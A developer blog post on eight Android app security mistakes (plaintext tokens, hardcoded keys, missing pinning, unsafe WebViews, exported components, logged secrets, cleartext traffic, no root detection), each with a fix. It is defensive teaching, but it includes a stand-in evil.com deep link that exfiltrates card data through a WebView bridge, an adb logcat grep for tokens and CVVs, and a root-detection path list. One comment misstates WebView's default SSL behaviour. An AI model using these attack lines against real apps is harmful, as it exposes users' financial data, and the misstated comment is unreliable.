8 Security Mistakes Every Android App Ships With — Plaintext Tokens, Exposed API Keys, No Certificate Pinning, Dangerous WebViews, Exported Components, Logcat Secrets, Cleartext Traffic, Missing Root Detection, and the 5-Minute Fix for Each
Your app passed code review. It looks clean. It works perfectly. It handles errors gracefully. And it ships with the auth token stored in plaintext SharedPreferences, the API key hardcoded in strings.xml, no certificate pinning (man-in-the-middle attack surface wide open), WebView JavaScript enabled with no URL whitelist, Activities exported without permissions, and the user's card number logged to Logcat on every transaction.
These aren't hypothetical risks. OWASP's Mobile Top 10 lists insecure data storage and insufficient transport layer protection as the #1 and #3 most exploited vulnerabilities in mobile apps. For fintech apps, these mistakes lead to regulatory fines, user data breaches, and loss of trust. Here are the 8 mistakes I find in almost every Android codebase — and the fix that takes 5 minutes each.
Mistake 1: Storing Secrets in SharedPreferences (Plaintext)
The Attack
SharedPreferences stores data in an XML file at /data/data/com.myapp/shared_prefs/prefs.xml. On rooted devices, any app with root access can read this file. On non-rooted devices, if the user enables ADB backup or the device is compromised, the file is readable.
// ❌ PLAINTEXT on disk — readable with root access or ADB backup
val prefs = context.getSharedPreferences("app_prefs", MODE_PRIVATE)
prefs.edit()
.putString("auth_token", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...")
.putString("refresh_token", "dGhpcyBpcyBhIHJlZnJlc2ggdG9rZW4...")
.putString("user_pin", "1234")
.putString("card_last_four", "4242")
.apply()
// FILE ON DISK (shared_prefs/app_prefs.xml):
// <?xml version='1.0' encoding='utf-8' standalone='yes' ?>
// <map>
// <string name="auth_token">eyJhbGciOiJIUzI1NiIs...</string>
// <string name="refresh_token">dGhpcyBpcyBhIHJl...</string>
// <string name="user_pin">1234</string>
// <string name="card_last_four">4242</string>
// </map>
// ↑ Readable by ANYONE with physical access, root, or backup extractionThe Fix (5 Minutes)
// ✅ EncryptedSharedPreferences — AES-256 encryption at rest
// Values are encrypted BEFORE writing to disk — unreadable without the key
val masterKey = MasterKey.Builder(context)
.setKeyScheme(MasterKey.KeyScheme.AES256_GCM)
.build()
val securePrefs = EncryptedSharedPreferences.create(
context,
"secure_prefs", // File name
masterKey, // Encryption key
EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV, // Key names encrypted
EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM // Values encrypted
)
// Usage is IDENTICAL to regular SharedPreferences:
securePrefs.edit()
.putString("auth_token", token)
.putString("refresh_token", refreshToken)
.apply()
val token = securePrefs.getString("auth_token", null)
// FILE ON DISK (shared_prefs/secure_prefs.xml):
// <map>
// <string name="AX2dF3...">kj8nP2mX9...</string>
// <string name="bQ7rT1...">Lm4wK8pN3...</string>
// </map>
// ↑ Both KEY NAMES and VALUES are encrypted - completely unreadable
// Dependencies:
// implementation("androidx.security:security-crypto:1.1.0-alpha06")
// WHERE THE KEY LIVES:
// The MasterKey is stored in Android Keystore (hardware-backed on most devices)
// Even with root access, the Keystore key can't be extracted
// Decryption only happens through the Keystore API - inside the secure hardwareFor Biometric-Bound Secrets (Banking Apps)
// Token can ONLY be decrypted after biometric authentication
val masterKey = MasterKey.Builder(context)
.setKeyScheme(MasterKey.KeyScheme.AES256_GCM)
.setUserAuthenticationRequired(true) // Requires biometric/PIN
.setUserAuthenticationParameters(300, AUTH_BIOMETRIC_STRONG) // 5-min validity
.build()
// After 5 minutes of inactivity → key is locked → biometric required againMistake 2: API Keys in Source Code or strings.xml
The Attack
APKs are ZIP files. Anyone can download your APK from the Play Store, unzip it, run strings or use jadx/apktool, and extract every hardcoded string — including API keys, secret keys, and internal URLs.
// ❌ In source code — visible after decompilation
object Config {
const val MAPS_API_KEY = "AIzaSyBxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
const val STRIPE_KEY = "sk_live_xxxxxxxxxxxxxxxxxxxxxxxx"
const val SENTRY_DSN = "https://xxx@sentry.io/123456"
}
// ❌ In strings.xml - equally visible
<string name="api_key">sk_live_xxxxxxxxxxxxxxxxxxxxxxxx</string>
// ❌ In BuildConfig (still in the APK binary)
buildConfigField("String", "API_KEY", "\"sk_live_xxx\"")
// Better than source code (not in version control) but still extractable from APKThe Fix
// ✅ LEVEL 1: local.properties (keeps keys out of version control)
// local.properties (git-ignored):
MAPS_API_KEY=AIzaSyBxxxxx
STRIPE_KEY=pk_live_xxxxx
// build.gradle.kts:
android {
defaultConfig {
manifestPlaceholders["MAPS_API_KEY"] = project.findProperty("MAPS_API_KEY") as? String ?: ""
buildConfigField("String", "STRIPE_KEY", "\"${project.findProperty("STRIPE_KEY")}\"")
}
}
// ⚠️ Still in the APK binary after build - but NOT in Git
// ✅ LEVEL 2: Fetch keys from your backend (BEST for secret keys)
// Never put SECRET keys (Stripe sk_live, Firebase server keys) in the app at ALL
// The app requests them from YOUR backend, which authenticates the request first:
suspend fun getPaymentConfig(): PaymentConfig {
return api.getConfig() // Backend returns Stripe publishable key after auth
}
// SECRET keys (sk_live_*) should ONLY exist on your backend - never in mobile apps
// ✅ LEVEL 3: NDK (harder to extract, not impossible)
// Store keys in native C code - requires reverse engineering native libraries
// Better than Java strings but determined attackers can still find them
external fun getApiKey(): String
// Only use this for keys that MUST be in the app (like Maps API key)Mistake 3: No Certificate Pinning (Man-in-the-Middle Risk)
The Attack
Without certificate pinning, your app trusts ANY valid SSL certificate — including certificates issued by an attacker who controls the network (corporate proxy, malicious WiFi, compromised CA). The attacker intercepts ALL traffic between your app and your server, reading tokens, passwords, and financial data in plaintext.
// ❌ Default OkHttp: trusts any valid certificate from any CA
val client = OkHttpClient.Builder().build()
// An attacker with a proxy (like Charles, mitmproxy, or Burp Suite) can:
// 1. Install their CA certificate on the device
// 2. Intercept ALL HTTPS traffic
// 3. Read request/response bodies (tokens, passwords, card numbers)
// 4. Modify responses (change account balances, redirect transfers)The Fix
// ✅ Pin your server's specific certificate — reject all others
val certificatePinner = CertificatePinner.Builder()
.add(
"api.mybank.com",
"sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" // Primary pin
)
.add(
"api.mybank.com",
"sha256/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=" // Backup pin (rotate before primary expires)
)
.build()
val client = OkHttpClient.Builder()
.certificatePinner(certificatePinner)
.build()
// Now: if an attacker intercepts traffic with their own certificate:
// → Certificate doesn't match pins → ConnectionException → request fails
// → Attacker sees NOTHING
// GET THE PIN HASH:
// openssl s_client -connect api.mybank.com:443 | openssl x509 -pubkey -noout | \
// openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64
// ✅ ALTERNATIVE: Network Security Config (XML-based, no code changes)
// res/xml/network_security_config.xml:
<network-security-config>
<domain-config>
<domain includeSubdomains="true">api.mybank.com</domain>
<pin-set expiration="2025-12-31">
<pin digest="SHA-256">AAAAAAA...=</pin>
<pin digest="SHA-256">BBBBBBB...=</pin>
</pin-set>
</domain-config>
</network-security-config>
// AndroidManifest.xml:
<application android:networkSecurityConfig="@xml/network_security_config">
// IMPORTANT: Always have at least 2 pins (primary + backup)
// If your certificate rotates and you only have 1 pin → app can't connect → brickMistake 4: WebView with JavaScript and No URL Whitelist
The Attack
If your WebView loads user-provided or dynamically-determined URLs with JavaScript enabled, an attacker can inject a malicious page that runs JavaScript inside your app's WebView — with access to cookies, local storage, and potentially JavaScript interfaces you've exposed.
// ❌ JavaScript enabled on ANY URL — XSS attack surface
class TermsActivity : ComponentActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
val url = intent.getStringExtra("url") ?: return // URL from intent — attacker-controlled!
val webView = WebView(this)
webView.settings.javaScriptEnabled = true
webView.addJavascriptInterface(PaymentBridge(), "PaymentBridge") // Exposed to JS!
webView.loadUrl(url) // If url = attacker's page → JS can call PaymentBridge methods
}
}
// Attacker sends a deep link: mybank://webview?url=https://evil.com/steal.html
// steal.html runs: PaymentBridge.getCardNumber() → exfiltrates dataThe Fix
// ✅ Whitelist allowed domains — block everything else
webView.webViewClient = object : WebViewClient() {
private val allowedDomains = listOf(
"mybank.com",
"cdn.mybank.com",
"payments.mybank.com"
)
override fun shouldOverrideUrlLoading(view: WebView, request: WebResourceRequest): Boolean {
val host = request.url.host ?: return true // Block null hosts
val isAllowed = allowedDomains.any { domain ->
host == domain || host.endsWith(".$domain")
}
return if (isAllowed) {
false // Allow navigation
} else {
Log.w("WebView", "Blocked navigation to: ${request.url}")
true // Block - don't load this URL
}
}
// Also block redirects to non-whitelisted domains
override fun onReceivedSslError(view: WebView, handler: SslErrorHandler, error: SslError) {
handler.cancel() // Never proceed on SSL errors
// Default: handler.proceed() - accepts invalid certificates!
}
}
// ✅ Disable JavaScript if not needed
webView.settings.javaScriptEnabled = false // Most terms/privacy pages don't need JS
// ✅ Never add JavaScript interfaces unless absolutely necessary
// If you must: validate every call, minimize exposed methodsMistake 5: Exported Components Without Permission Guards
The Attack
An exported Activity, Service, BroadcastReceiver, or ContentProvider can be started by ANY app on the device. If your TransferActivity is exported, a malicious app can start it directly — bypassing your login screen, your auth checks, and your normal navigation flow.
<!-- ❌ Any app can start TransferActivity — no authentication required -->
<activity
android:name=".feature.transfer.TransferActivity"
android:exported="true" />
<!-- ❌ Any app can send broadcast to this receiver -->
<receiver
android:name=".PaymentStatusReceiver"
android:exported="true" />
<!-- ❌ Any app can bind to this service -->
<service
android:name=".SyncService"
android:exported="true" />The Fix
<!-- ✅ Default: exported=false (Android 12+ enforces this) -->
<activity
android:name=".feature.transfer.TransferActivity"
android:exported="false" />
<!-- Only your app can start this Activity -->
<!-- ✅ If it MUST be exported (deep links), require a custom permission -->
<permission
android:name="com.mybank.permission.TRANSFER"
android:protectionLevel="signature" />
<!-- signature = only apps signed with YOUR certificate can use this permission -->
<activity
android:name=".feature.transfer.TransferActivity"
android:exported="true"
android:permission="com.mybank.permission.TRANSFER">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<data android:scheme="mybank" android:host="transfer" />
</intent-filter>
</activity>
<!-- ✅ For BroadcastReceivers that must be exported: -->
<receiver
android:name=".PaymentStatusReceiver"
android:exported="true"
android:permission="com.mybank.permission.PAYMENT_STATUS" />
<!-- ✅ Check in code too (defense in depth): -->
class TransferActivity : ComponentActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// Even if the Activity is exported, verify the user is authenticated
if (!authRepository.isAuthenticated()) {
startActivity(Intent(this, LoginActivity::class.java))
finish()
return
}
// Continue with transfer flow...
}
}Mistake 6: Logging Sensitive Data to Logcat
The Attack
Logcat is readable by any app on Android 4.0 and below, by ADB on all versions, and by crash reporting tools. If you log tokens, passwords, card numbers, or PII, anyone with ADB access (including automated scanning tools) can extract them.
// ❌ Sensitive data in Logcat — visible via ADB
Log.d("Auth", "Login with token: $token")
Log.d("Payment", "Processing card: $cardNumber, CVV: $cvv, Expiry: $expiry")
Log.i("Transfer", "Sending $amount to IBAN $iban")
Log.e("API", "Request body: ${requestBody.toString()}") // Contains auth headers!
// $ adb logcat | grep -i "token\|card\|cvv\|password\|iban"
// D/Auth: Login with token: eyJhbGciOiJIUzI1NiIs...
// D/Payment: Processing card: 4242424242424242, CVV: 123, Expiry: 12/26
// ↑ FULL CARD DATA visible to anyone running ADBThe Fix
// ✅ FIX 1: Remove ALL log calls in release with R8
// proguard-rules.pro:
-assumenosideeffects class android.util.Log {
public static int v(...);
public static int d(...);
public static int i(...);
public static int w(...);
public static int e(...);
}
// R8 REMOVES every Log.v/d/i/w/e call from release bytecode
// Zero runtime overhead. Zero log output. Zero risk.
// ✅ FIX 2: Use Timber with a release-safe tree
if (BuildConfig.DEBUG) {
Timber.plant(Timber.DebugTree())
} else {
Timber.plant(CrashReportingTree()) // Only logs to Crashlytics, never to Logcat
}
class CrashReportingTree : Timber.Tree() {
override fun log(priority: Int, tag: String?, message: String, t: Throwable?) {
if (priority >= Log.ERROR) {
// Only send ERROR and above to crash reporting
FirebaseCrashlytics.getInstance().log(message)
t?.let { FirebaseCrashlytics.getInstance().recordException(it) }
}
// Debug and info logs → silently dropped
}
}
// ✅ FIX 3: NEVER log sensitive data, even in debug
Timber.d("Login successful for user ID: ${user.id}") // ✅ User ID (non-sensitive)
Timber.d("Login successful for email: ${user.email}") // ❌ PII
Timber.d("Token refreshed successfully") // ✅ No token value
Timber.d("Token: $token") // ❌ Token value
Timber.d("Transfer of $amount to account ***${iban.takeLast(4)}") // ✅ MaskedMistake 7: Allowing Cleartext (HTTP) Traffic
The Attack
HTTP traffic is unencrypted. Anyone on the same WiFi network (coffee shop, airport, hotel) can see every byte of your app's network traffic — including auth tokens, personal data, and financial transactions.
<!-- ❌ Allows HTTP traffic — all data visible to network sniffers -->
<application android:usesCleartextTraffic="true">
<!-- Some developers add this to "fix" network issues during development
and forget to remove it before shipping -->The Fix
<!-- ✅ Disable cleartext traffic entirely -->
<application android:usesCleartextTraffic="false">
<!-- ✅ For fine-grained control (e.g., allow localhost for dev): -->
<application android:networkSecurityConfig="@xml/network_security_config">
<!-- res/xml/network_security_config.xml -->
<network-security-config>
<!-- Production: HTTPS only -->
<base-config cleartextTrafficPermitted="false">
<trust-anchors>
<certificates src="system" />
</trust-anchors>
</base-config>
<!-- Debug only: allow cleartext for local dev server -->
<debug-overrides>
<trust-anchors>
<certificates src="user" /> <!-- Trust user-installed CAs (for Charles/mitmproxy) -->
</trust-anchors>
</debug-overrides>
<!-- Exception: specific domain that only supports HTTP (rare) -->
<domain-config cleartextTrafficPermitted="true">
<domain includeSubdomains="false">legacy.internal.mybank.com</domain>
</domain-config>
</network-security-config>Mistake 8: No Root/Integrity Detection for Financial Apps
The Attack
On rooted devices, any app can read your app's private data directory, intercept system calls, modify your APK at runtime, and bypass security checks. For banking apps, this means an attacker with root can extract tokens, modify transaction amounts, and bypass biometric authentication.
// ❌ App runs identically on rooted and non-rooted devices
// No detection, no warning, no restriction
class TransferActivity : ComponentActivity() {
// Transfers work exactly the same on a rooted device
// Where an attacker can intercept the request and change the recipient
}The Fix
// ✅ Basic root detection (catches most root methods)
object RootDetector {
fun isDeviceRooted(): Boolean {
return checkSuBinary() || checkBuildTags() || checkSuCommand() || checkRootPackages()
}
private fun checkSuBinary(): Boolean {
val paths = listOf(
"/system/bin/su", "/system/xbin/su", "/sbin/su",
"/data/local/xbin/su", "/data/local/bin/su",
"/system/sd/xbin/su", "/system/app/Superuser.apk"
)
return paths.any { File(it).exists() }
}
private fun checkBuildTags(): Boolean {
return Build.TAGS?.contains("test-keys") == true
}
private fun checkSuCommand(): Boolean {
return try {
Runtime.getRuntime().exec("su")
true
} catch (e: Exception) {
false
}
}
private fun checkRootPackages(): Boolean {
val rootPackages = listOf(
"com.topjohnwu.magisk", // Magisk
"eu.chainfire.supersu", // SuperSU
"com.koushikdutta.superuser", // Superuser
"com.noshufou.android.su" // Another SU app
)
val pm = ProcessBuilder("pm", "list", "packages")
return try {
val output = pm.start().inputStream.bufferedReader().readText()
rootPackages.any { output.contains(it) }
} catch (e: Exception) {
false
}
}
}
// ✅ Use Google Play Integrity API (production-grade, hard to bypass)
// The Play Integrity API verifies:
// - Device is genuine (not emulator, not rooted with bypass)
// - App is genuine (not modified, installed from Play Store)
// - User has a valid Google account
class IntegrityChecker(private val context: Context) {
suspend fun checkIntegrity(): IntegrityResult {
return try {
val integrityManager = IntegrityManagerFactory.create(context)
val tokenResponse = integrityManager
.requestIntegrityToken(
IntegrityTokenRequest.builder()
.setNonce(generateNonce())
.build()
)
.await()
// Send token to YOUR backend for verification
// Backend calls Google's API to decode and verify the token
// Backend returns: device is genuine / app is genuine / has Play license
val result = api.verifyIntegrity(tokenResponse.token())
result
} catch (e: Exception) {
IntegrityResult.Unknown
}
}
}
// ✅ In-app response to root detection:
@Composable
fun RootCheckScreen(onProceed: () -> Unit) {
val isRooted = remember { RootDetector.isDeviceRooted() }
if (isRooted) {
AlertDialog(
onDismissRequest = { }, // Can't dismiss
icon = { Icon(Icons.Default.Warning, null, tint = Color(0xFFEF4444)) },
title = { Text("Security Warning") },
text = {
Text(
"This device appears to be rooted or modified. " +
"For your security, some banking features may be restricted. " +
"We recommend using an unmodified device for financial transactions."
)
},
confirmButton = {
Button(onClick = onProceed) { Text("Continue anyway") }
}
)
// For high-security apps: Block completely instead of warning
} else {
onProceed()
}
}Security Checklist
CHECK STATUS PRIORITY
──────────────────────────────────────────────────────────────
EncryptedSharedPreferences for tokens □ 🔴 Critical
API keys NOT in source code / strings.xml □ 🔴 Critical
Certificate pinning enabled □ 🔴 Critical
Cleartext traffic disabled □ 🔴 Critical
No sensitive data in logs (R8 rules) □ 🔴 Critical
Components exported=false by default □ 🟡 High
WebView URL whitelist + SSL validation □ 🟡 High
Root/integrity detection (fintech) □ 🟡 High
ProGuard/R8 obfuscation enabled □ 🟠 Medium
Biometric-bound keys for sensitive ops □ 🟠 Medium
Backup disabled for sensitive data □ 🟠 MediumConnect with Me on LinkedIn
Follow me on LinkedIn
Tags: #Android #Security #CertificatePinning #Encryption #Fintech #Kotlin #OWASP #MobileSecurity #PlayIntegrity #BestPractices